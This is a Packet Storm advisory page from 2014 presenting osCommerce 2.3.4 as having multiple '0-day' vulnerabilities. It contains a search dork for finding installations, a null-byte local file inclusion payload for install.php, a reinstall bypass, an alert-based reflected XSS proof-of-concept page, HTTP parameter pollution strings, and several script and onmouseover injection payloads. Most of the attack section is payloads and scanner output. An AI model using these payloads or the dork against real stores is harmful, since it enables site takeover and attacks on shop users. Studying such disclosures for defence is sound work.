what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oscommerce 2.3.4 XSS / HPP / File Inclusion

Oscommerce 2.3.4 XSS / HPP / File Inclusion
Posted Sep 27, 2014
Authored by indoushka

Oscommerce version 2.3.4 suffers from cross site scripting, HTTP parameter pollution, and local file inclusion vulnerabilities.

tags | exploit, web, local, vulnerability, xss, file inclusion
SHA-256 | 8d1dd2e6442e15ac36b712ca7250cbff8a6c970b84e1efbe78af8cdac497642a

Oscommerce 2.3.4 XSS / HPP / File Inclusion

Change Mirror Download
Oscommerce2.3.4 multi Vulnerability 0-Day
=========================================
Author : indoushka
Vondor : http://www.oscommerce.com/
Dork : Powered by osCommerce
=========================================

File inclusion :

It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.
This vulnerability affects /catalog/install/install.php.
Discovered by: Scripting (File_Inclusion.script).
Attack details
URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to djkhgfdfsjkd%00.jpg
Error message found:
<b>Warning</b>: fopen(weo,kohjbvn%00.jpg/includes/configure.php) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: No such file or directory in <b>C:\AppServ\www\catalog\install\templates\pages\install_4.php</b> on line <b>148</b>

if you try to Reinstall the script in normal method you cant
http://localhost/catalog/install/install.php
but if we try withe xss byg
http://localhost/catalog/install/install.php/rpc.php
you can by pass it and change the Administration Directory Name
to any name shose it licke hacked but the sqldb stoped no real config data in configuer file

XSS Reflected - Jquery 1.11.1 :

<html>
<head>
<meta charset="utf-8">
<title>XSS Reflected - Jquery 1.11.1 </title>
<script src="http://localhost/catalog/ext/jquery/jquery-1.11.1.min.js"></script>
<script>
$(function() {
$('#users').each(function() {
var select = $(this);
var option = select.children('option').first();
select.after(option.text());
select.hide();
});
});
</script>
</head>


<body>
<form method="post">
<p>
<select id="users" name="users">
<option value="xssreflected"><script>alert(&#x27;xss
reflected - jquery 1.11.1 by - indoushka thnx to
@firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option>
</select>
</p>
</form>
</body>
</html>

HTTP parameter pollution :

Vulnerability description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.
This vulnerability affects /catalog/product_info.php
/catalog/product_reviews.php
/catalog/shopping_cart.php
/catalog/index.php
/catalog/advanced_search_result.php
Discovered by: Scripting (HTTP_Parameter_Pollution.script).
Attack details
URL encoded GET input manufacturers_id was set to 4&n990268=v998311
Parameter precedence: last occurrence
Affected link: http://localhost/catalog/index.php?manufacturers_id=4&n990268=v998311
Affected parameter: manufacturers_id=4

Cross site scripting (verified)

This vulnerability affects /catalog/install/install.php
URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to C:/AppServ/www/catalog/'"()&%<ScRiPt >prompt(991173)</ScRiPt>
URL encoded POST input HTTP_WWW_ADDRESS was set to http://127.0.0.1/catalog/" onmouseover=prompt(945521) bad="
The input is reflected inside a tag parameter between double quotes.

This vulnerability affects /catalog/install/rpc.php
URL encoded GET input server was set to e'"()&%<ScRiPt >prompt(945367)</ScRiPt>





Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close